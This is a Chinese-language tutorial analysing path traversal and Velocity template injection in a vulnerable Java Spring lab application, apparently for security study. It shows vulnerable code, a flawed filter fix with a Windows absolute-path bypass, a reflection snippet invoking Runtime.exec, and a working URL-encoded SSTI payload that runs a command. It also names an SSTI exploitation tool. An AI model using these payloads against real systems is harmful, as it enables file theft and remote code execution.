目录穿越漏洞
虽然漏洞的payload非常简单,但是java的编程方法还是值得一看的。
漏洞分析
进入controller下的PathTraversal类下,可以看到如下代码。
@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}
这是漏洞的产生点,传入的参数filepath没有经过任何处理就传入了getImgBase64函数中。
进入getImgBase64函数中查看
private String getImgBase64(String imgFile) throws IOException {
logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);
File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
}
这里的logger是slf4j 日志对象,定义如下
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
Logger.info会将相关的信息打印到spring控制台上
Files.readAllBytes()
会从文件中读取所有字节。
Paths.get()
会将路径字符串或连接时形成路径字符串的字符串序列转换为路径。
最后文件内容,会以base64形式返回。
漏洞修复
此类漏洞还是通过过滤字符串的方式进行修复的
public String getImage(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}
跟进pathFilter函数,可以看到是作者定义的拦截器的功能,代码如下
如果存在url编码,那么该函数会进行url解码。同时,处理后的数据会和参与下面的过滤,如果里面存在…和/字符则会直接返回。
但是这个过滤也存在一定的问题,在windows下,第一个字符往往不是/,所以如果部署在windows,还是可以绕过的。
访问http://localhost:8080/path_traversal/sec?filepath=D:/test.txt,可以看到依旧读取了文件。
这里的再添加其他过滤规则即可。
模板注入漏洞
该代码使用的是Velocity来进行渲染模板,Velocity是一个基于java的模板引擎。
修复方式也已经说明了,就是不使用这个模板引擎来渲染模板。
漏洞分析
@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init(); //初始化Velocity
VelocityContext context = new VelocityContext(); //创建一个存放Velocity内容的对象
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter(); //创建一个StringWrite对象,在字符串缓冲区中收集输出的字符流。
Velocity.evaluate(context, swOut, "test", template);
}
当用户可以指定模板时,也就是evaluate中模板可控,可造成rce。通过设置一个字符串,然后通过获取字符串的类去寻找Runtime类,再去寻找getRuntime反射方法达到命令执行。
通过反射进行命令执行的一个例子
public class test_class {
public static void main(String[] args) throws Exception{
String e = "e";
e.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(
String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(
String.class.getClass().forName("java.lang.Runtime")
),new String[]{"calc"}
);
}
}
使用如下payload即可
http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
相关工具
https://github.com/epinna/tplmap
该工具对一些常见的ssti漏洞,都有效。也可以自己编写payload,实现绕过过滤。